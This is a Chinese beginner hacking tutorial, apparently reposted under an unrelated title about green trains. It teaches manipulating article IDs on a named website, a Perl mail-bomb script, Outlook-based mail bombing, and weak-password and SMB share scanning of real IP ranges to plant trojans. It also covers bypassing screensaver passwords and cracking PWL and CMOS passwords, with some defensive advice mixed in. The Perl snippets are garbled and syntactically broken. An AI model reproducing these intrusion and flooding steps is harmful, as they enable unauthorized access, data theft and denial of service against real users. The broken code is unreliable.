坐绿皮火车的感受:最简单的几种攻击和防范方法

来源:百度文库 编辑:微思作业网 时间:2019/12/11 08:49:01
本节介绍的攻击方法是为后面专门介绍相关内容做铺垫,读者在学习的时候应该多了解一些有关Perl和网站的知识,如果可能,最好在自己的系统中安装一套网站服务程序,然后寻找一些免费的Perl代码进行调试、研究。
一、攻击免费论坛:
这里介绍的攻击非常简单,它所达到的效果就是获得论坛管理员密码、具有修改论坛的权限等,所以并不设计漏洞扫描和清除痕迹等步骤。首先介绍一下问题的起源:在网络上很多网站都提供了论坛或者电子留言版,这些服务大多数使用asp、php、cgi或者perl编写完成,而对于这些免费的论坛代码黑客也能够获得,因此只要经过分析就可以找到“免费软件中的缺陷”,进而对网站上提供的论坛进行攻击。
例如http://www.ls1238.com/网站提供的“稿件管理系统”就存在一个很严重的问题(本人已经和他们联系并说明此漏洞、相关漏洞现已修复),让我们看看通过浏览器访问它的形式,当我们阅读其中的稿件时,会发现在URL内的地址是/list.asp?articleid=nnnn,显然list.asp是显示文章的程序,而后面的?articleid=nnnn则是它的参数,nnnn是文章的编号。当黑客申请成为tougao网站的一员后,便拥有了上传文章和修改、删除自己发表文章的权利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn应该是自己的文章代码,但是如果黑客将文章代码改变会怎么样呢?
修改了文章代码后发现,可以对其他文章进行修改!也就是说任何经过免费注册成为tougao网站的用户都可以拥有修改任意文章的权利,同时使用delarticleself.asp则可以删除任何文章!
一次攻击过程我已经叙述完了,是不是非常简单?其实像这种问题网络上随处可见,好好想一下,如果对nnnn的修改进行的更“不着边际”,例如输入几个英文字母或者标点符号会出现什么情况?经过尝试发现,当属的数值为“单引号”是,系统会出现错误并报告数据库文件的名称、磁盘物理路径等敏感信息,这样就可以直接通过下载软件将他们的数据库下载到本地并从中找到管理员账号。
在早期的YukiBBS3000上,当注册者的注册信息内包含单引号时,也会出现“程序运行错误”的提示,并且造成论坛的内部数据错误,彻底终止论坛的正常运行。
二、防范攻击:
相对来说,网易、新浪等大型门户网站在这方面做的比较好,他们对文章ID号进行了判断,防止特殊字符的介入,如果使用者输入了非法的字符,经过检测系统会提示输入的ID号码非法,并且拒绝接受请求,返回一个“输入字符非法”的界面。
另外对于文章的修改,他们也考虑的非常周到,在进行每一次文章修改的时候,系统都会检测用户身份,确定准备修改的文章是否属于登陆身份,如果不属于则会提出警告信息。而实际上,这种问题在早期他们的网站上也是存在的,只不过因管理员网络安全意识比较强,因此即使的发现并修补了漏洞。
cgi、perl等程序在设计的时候,必须考虑到各种可能出现的情况,例如对文件名的提交必须考虑周到,一个程序没有考虑到的特殊名称也许会对系统造成非常严重的后果,用户输入一个文件名,有可能就试图打开输入危险字符串!例如用户输入的文件名中包含路径字符,如目录斜杠和双点!尽管你期望的是输入公用的文件名(例如report.txt),但结果却可能是/report.txt或../../report.txt等等,系统中所有文件就有可能泄露出去,后果是可想而知的。
设计cgi、perl程序,最好能够在代码中加入下面的非常字符检测代码:
if(($file_name=~/[^a-zA-Z_\.]/)||($file_name=~/^\./))
{ #文件包含有不合法字符 }
另外还要注意对大于号、小于号的判断,因为这两种符号是html文档中的属性符号,不进行屏蔽会对论坛造成严重的后果,网络上不是有很多“小儿科”的聊天室踢人术吗?简单的方式是不允许小于号和大于号的出现,因为所有HTML语法必须包含在这两个字符间,如果程序检测到它们就返回一个错误提示,下面一行Perl代码快速地清除了这两个字符:
$user_input=~s/<>//g;
当然还有比较好的选择,就是将这两个字符转换成它们的HTML换码(特殊的代码),用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号,用>替换了大于符号,从而完成了转换过程:
$user_input=~s/$user_input=~s/>/& gt;/g;
三、编写简单的邮件炸弹:
利用Perl程序可以非常快速的编写邮件炸弹程序,这种方法比起直接使用别人编写的邮件炸弹要好的多,至少学习者能够真正“体会一下”什么才是黑客。有关这个炸弹的编译环境是具备一台有CGI权限的网络服务器,同时这台服务器上提供了sendmail命令(当然这一切可以在自己的系统上进行设置),并且学习着还要初步了解有关perl语言的知识。
程序的原理非常简单,就是利用sendmail命令向目标重复发送相同内容的电子邮件,为了控制发送邮件的数量,我们声明一个计数器变量,同时将程序用while()函数做循环,下面我们看一下程序的源代码:
#!/bin/perl
$file=‘/user/lib/sendmail‘;
$target=‘someone@target.com‘;
$count=0;
while($count<1000){
open(MAIL,"/$file$target") || die" Can not open $file!\n
print MAIL"哈哈,你被攻击啦"
close(MAIL);
sleep 3;
$count++;
}
看明白了吗?程序就上面这点儿,是不是非常简单?因为Perl属于解释型语言,因而不需要进行编译,直接将源代码上传到服务器上,然后设置成为755或者775型,就可以通过浏览器调用而直接使用了。程序中的$file和$target变量分别定义了sendmail命令的路径和目标的地址,在使用此程序以前要根据个人需要进行修改,而$count变量是我们要发送的炸弹邮件数量,因为发送邮件工作是服务器完成的,因而速度非常快,这个数量可以设置的大一些,我们并不会感觉到程序的缓慢。
四、使用Outlook制作电子邮件炸弹:
相对上一种方法,这个方法更加直接,它不需要专用工具而只需要利用Outlook电子邮件客户端软件就可以轻松完成。首先介绍一下邮件炸弹的基本原理:电子邮件炸弹一般来说分成两种。一种是通过发送巨大的垃圾邮件使对方电子邮件服务器空间溢出,从而造成无法接受电子邮件;另一种方法是无休止的发送相同内容的但很小的邮件使对方接收不过来而放弃自己的电子邮箱。因此我们只要实现其中的一种即可称之为“邮件炸弹”。
使用Outlook制作电子邮件炸弹就是利用了上面说的第二种方法,不断的向指定目标发送电子邮件,首先我们要做一些准备工作:申请一个免费的电子信箱,并把这个信箱账号设置到Outlook中,然后选择Outlook工具菜单的“工具”-〉“账号”,选择其中刚刚申请的那个电子邮件账号,然后点击窗口右面的“属性”按钮。在出现的属性窗口中继续点击窗口上面的“高级”标签,更改“发送”设置中的“邮件拆分大小”属性值,这个值尽量更改的小一些(推荐更改成16),确认退出。
这样以后只要使用这个经过设置的电子信箱发电子邮件,只要邮件的大小超过了规定的字节数,Outlook就会自动将电子邮件进行分割,例如一封1600KB的信件,将它拆分成16KB一封的电子邮件发送给对方,对方的信箱中就会出现100多封电子邮件,邮件炸弹的功能就实现了!
五、如何防止电子邮件炸弹:
电子邮件的防范可以从多个方面着手,例如未雨绸缪、从开始就谨慎的使用电子信箱,或者也可以亡羊补牢、尽快修复电子信箱,在网络上,大多数关于防范邮件炸弹的文章都说的是Linux等系统,而真正涉及初级用户的并不是很多,然是实际更多的人使用的还是Windows系统,即便pop3服务器是Linux系统,现在也没有更多的人通过传统的命令方式接收邮件了,这里将讲述一个与读者联系紧密的防止电子邮件炸弹的方法。
1、不公开信箱地址、准备多个信箱:
早作准备,不让黑客知道自己的电子信箱地址是最好的方法,这就需要使用者在网络上尽量少的公开自己的信箱地址,不要轻易将地址留给不认识的人或者留在电子论坛上。当然,如果可以,使用者可以多申请几个电子信箱,不同的信箱联络不同的人,专门预备出一个公开的电子信箱,一旦受到攻击也不会造成过多的损失。
2、使用软件快速清理炸弹邮件:
使用BombCleaner等炸弹清理软件,可以在不接受信件的时候察看邮件清单,从中选择垃圾信件进行远程删除,这样做可以节省大量下载信件的时间,同时也堵住了通过电子邮件传播的病毒。但是这种方法有它最明显的缺陷:一旦信箱已经被邮件塞满了,就来不及删除上面的信件、而且信发送过来的重要信件也无法接收了。
3、设置信箱过滤:
信箱过滤可以很好的解决上面软件解决不了的问题。过滤器可以设置在本地的电子邮件客户端程序上,也可以直接通过浏览器在pop3信箱的内部进行设置,前者和上面介绍的利用软件基本类似,也是在接收电子邮件的时候对邮件是否属于垃圾或炸弹进行判断,所以在信箱被塞满的时候也不见的起到什么效果。
但是如果能够在pop3服务器上设置自己信箱的过滤,就可以从根本上避免被攻击的可能了。具体做法是这样的,通过浏览器登陆到pop3服务器上,然后进入自己的信箱,之后找到“邮件收发设置”,并且在其中的过滤器内填写有关发送垃圾邮件的邮件地址(多个地址可以用分号隔开),并且确认保存,这样就能够在服务器上过滤掉炸弹邮件、保障自己的电子信箱安全了。
4、设置接收邮件的大小:
如果黑客发送过来的不是成百上千封“小信件”,而是一封上百兆的炸弹怎么办呢?这种邮件不需要多少,一封过来就可以把电子信箱塞的满满的,所以用户在设置“过滤”的时候,还要注意“接收信件大小”选项,最好将这个数值控制在电子信箱的三分之一左右。例如使用者的电子信箱空间是三十兆,那么可以通过设置规定接收信件的大小不得超过十兆每一封,如果超过了这个数值,那么来信将被确认为邮件炸弹,而直接被系统舍弃,这样邮件炸弹便再无施展自己的空间了。
六、弱口令与共享服务攻击:
“弱口令”和“共享”都是指系统在设置过程中忽略了网络安全的考虑而带来的安全隐患,例如当我们假设一个FTP服务器的时候,软件在默认情况下会有很多开放的登录账号,如果没有删除这些账号就将系统投入使用,那么任何人都可以通过这些预先设置的账号进行系统登录。
使用xscanner可以进行“弱口令扫描”,使用者通过-ntpass参数进行***作,假设我们现在对61.135.50.1-61.135.50.254进行扫描,可以用xscanner 61.135.50.1-61.135.50.254 -v -ntpass完成整个C类段的扫描,并且从结果中找到存在弱口令的系统进行远程登录。
下面我来介绍一个更加直接的方法:
首先要使用SMBScanner共享扫描软件进行扫描,运行这个软件并在IP地址段内输入开始和结束扫描的IP地址,然后单击start按钮就可以了,在扫描过程中,SMBScanner会随时显示找到的服务器,并且显示出来。将其中一个IP地址记录下来(例如61.135.60.24),然后运行浏览器,并在URL地址输入栏内输入“\\61.135.60.24”,等待一会儿,就会发现对方的硬盘信息显示在浏览器窗口内了。
之后我们可以对显示出来的文件进行***作,当然有的系统可能在共享目录中设置了密码,破解密码的工作会在以后学习,这是学习者可以换一个IP继续尝试,另外很多系统设置的共享目录都没有限制“写”权限,这个时候我们就可以上船一个木马程序并修改系统的autoexec.bat文件,这样当系统下一次启动时,就会将上传的木马程序激活,入侵者就可以完全掌握对方的电脑系统了。
这看上去是不是很过瘾?但是千万不要只局限在这里,因为这不过是利用软件完成的一个极为简单的黑客动作,还不能真正称得上是黑客!我不提倡大家使用这种方法,也不提倡利用各种现成软件当黑客,学习者要通过这个软件的使用学习有关NetBIOS和SMB的知识,下面让我们看看这其中隐藏的原理:
说先介绍一下网络协议:网络协议是用于各种网络服务之间信息传递的标准,现在流行的网络协议主要有TCP/IP协议,还有用于局域网的IPX协议,在这些协议中,NetBIOS是一个基本协议,它负责文件、目录、打印机等共享设备的管理,可以被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通,而对于视窗系统来说,这个协议叫做SMB(Server Message Block),通过这个协议可以访问共享被其他用户许可的文件和文件夹。
也正是由于SMB的存在,才使得黑客可以轻而易举的进入到开放了共享目录的系统中,如果有一天学习者突然发现自己的系统“桌面”上突然多了一个文件,那么不要奇怪,这很可能就是某个朋友进到系统之后给您留下来的警告信息。
七、本地密码破解:
网络黑客通常都是通过各种手段破解远程服务器上的密码的,而对于网吧、公司之类的地方,任何人都可以接触到本地电脑,这样本地电脑里面的密码就也有可能被黑客破解,例如今天流行的oicq软件在本地就是存在一个记录密码的文件,黑客得到了这个文件就可以对oicq进行破解了。下面我们看看本地电脑中常见的几种密码和想对应的破解过程:
1、开机密码:
开机密码,也就是CMOS密码,根据用户设置的不同,开机密码一般分为两种不同情况,一种就是Setup密码(采用此方式时,系统可直接启动,而仅仅只在进入BIOS设置时要求输入密码);另一种就是System密码(采用此方式时,无论是直接启动还是进行BIOS设置都要求输入密码,没有密码将一事无成)。对于用户设置的这两种密码,我们的破解方法是有所区别的。
(1)Setup密码:
如果计算机能正常引导,只是不能进入BIOS设置(即设置了Setup密码),那么我们在遗忘密码之后只需在DOS状态下启动DEBUG,然后输入如下命令即可手工清除密码:
- o 70 16
- o 71 16
- q
另外,不熟悉DEBUG的用户也可到http://www.newhua.com/down/Cmospwd.zip下载一个专门破解CMOS密码的工具软件Cmospwd。然后在DOS启动该程序,它就会将用户的CMOS密码显示出来(Cmospwd支持Acer、AMI、AWARD、COMPAQ、DELL、IBM、PACKARD BELL、PHOENIX、ZENITH AMI等多种BIOS),使用非常方便。
(2)System密码:
若没有密码根本不能启动计算机(即设置了System密码),那我们就无法通过软件来解决密码遗忘的问题了。此时惟一的方法就是打开机箱,给CMOS放电,清除CMOS中的所有内容(当然也就包括密码),然后重新开机进行设置。另外,有些主板设置了CMOS密码清除跳线,将该跳线短接也可达到同样的目的(详情参见主板说明书)。
2、Windows***作系统密码:
(1)Windows启动密码:
遗忘Windows的启动密码虽然不会影响系统的启动,但它将导致用户无法进入自己的个人设置,因此破解Windows的启动密码以找回“丢失”的“个性”也是很有必要的。为此,我们可删除Windows安装目录下的*.PWL密码文件及Profiles子目录下的所有个人信息文件,然后重新启动Windows,系统就会弹出一个不包含任何用户名的密码设置框,我们无需输入任何内容,直接点击“确定”按钮,Windows密码即被删除。另外,运行“regedit.exe”,打开注册表数据库“HKEY_LOCAL_MACHINE”→“Network”→“Logon”分支下的“UserProfiles”修改为“0”,然后重新启动Windows也可达到同样的目的。
(2)电源管理密码:
Windows的电源管理功能也可以设置密码,设置此功能后,系统在从节能状态返回时就会要求输入密码,从而在一定程度上实现保护系统的目的。不过由于电源管理功能的密码与Windows的启动密码完全一样,因此我们只要按照前面的方法破解了Windows的启动密码,其电源管理密码也就不攻自破了。
(3)屏幕保护密码:
Windows的屏幕保护程序中有一个“密码设置”,可以通过设置让系统在处于屏幕保护状态时无法终止程序,这样做可以有效的避免他人***作个人系统,但是这一屏幕保护密码也是有它的安全隐患的,经过下面几种***作都可以轻易绕过屏幕保护的密码验证机制。
第一种方法比较简单,在屏幕保护出现弥马提示窗口的时候,直接在电脑的光驱中放入一张带有Aurorun的光盘,光盘放入之后系统会自动执行光盘内容,屏幕保护程序被终止,同时不需要输入任何密码!
另外还可以使用OOB攻击,通过WinNuke之类的OOB攻击工具对系统进行攻击,存在问题的Windows系统会出现蓝屏,随便输入任意键系统就会终止屏幕保护程序了。
如果一台机器尚未运行屏保,那就更简单了,运行regedit,看看\HKEY_CURRENT_USER\Control Panel\desktop\ScreenSave_Data,里面就是加过密的屏幕保护密码了。如果不想练练解密,就干脆删了它,如果想当回hacker,那就自己试试加不同的密码看看能不能找出它的算法。Windows屏保的加密算法很弱智,从这里也能看出微软对Windows的安全性其实并不在乎。
(4)拨号账户密码:
个人拨号上网的账号和密码都是保存在系统的windows\*.pwl文件中的,从网络上下载一个可以察看Windows密码的Passthief软件,然后运行软件并输入准备破解的pwl文件,很快个人上网密码就可以显示出来了。
从上面的介绍中可以看出,Windows的密码保护功能并不完善,无论是开机密码还是屏幕保护、电源管理密码都非常脆弱,我们必须辅之以其他控制措施才能达到防止他人入侵的目的。
八、防范上网账号、密码被盗:
在网络上使用的很多密码中,上网账号的密码最为重要。它最初是网络服务商给的,网络服务商当然知道你的密码。一般来说,当你购买了网络服务商的上网帐号后,网络服务商都会叫你上网之后尽快更改你的密码。设置的新密码最好是数字、字母、特殊符号的结合。如果你的上网账号密码被别人窃取,那么他就可以使用你的账号上网,而网络费用却都要记在你的账号上。
因此这个密码对于上网者来说是比较重要的,要保证密码的安全,应该考虑一下几点:
1、在上网的拨号程序中不要选择保存密码,因为选择了保存密码,Windows就会将密码保存到电脑里,它会给这个密码起一个后缀为pwl的文件,别人接触你的电脑就能很容易地看到这个文件,密码也就会暴露无遗。假如有黑客从网络上进入你的电脑,他可以用一种黑客程序攻破系统,找到你保存的密码文件,并获取你的上网账号和密码。如果你不保存密码,你的电脑里就不会有后缀为pwl的有关密码的文件,黑客也就不好窃取。
2、在申请上网账号的时候,要选择只允许一次接入,就是当你拨号上网的时候,其它机器再次使用这个账号无法拨号上网,那么当你拨号上网时发现无法拨入的时候一定是其他人在盗用你的账号让你无法拨号上网。
3、在申请上网账号的时候,一定要指定电话号码拨入,可以设定几个你常用的电话号码(家里的或单位的)。只有你指定的电话号码才可以使用这个账号拨号上网。即使别人拿到了你的密码也无法使用。
4、设置不同的密码。网络上要求你设置密码的地方很多,你在设置这些密码时可不要图省事设成相同的,这样你的密码很快就会变成“明码”。因为,黑客一旦获取了你的一个密码之后,他就会用这个密码尝试着解开其它设置密码的地方,比如你的E-mail密码,那么你的电子邮件的秘密也就会暴露在网上了。更有甚者,有人得到了你的密码,就会以你的名义胡作非为,损坏你的形象,给你惹来麻烦。
5、不要向任何人透露你的密码。有人甚至会在网络上冒充网络服务商,给你发来邮件,说是系统要更新,需要提供你的密码,以便更新系统。这是地地道道的谎言。因为更新系统与你的密码无关,而且任何一个网络服务商也不会向你索取密码的。
6、经常上你所在的网络服务商主页进行账号查询,检查你的连接上网时间是否和你平时上网的时间一致,如果有重复或你没有使用账号却有连接记录时,证明你的账号被盗用了,一定要立刻修改密码。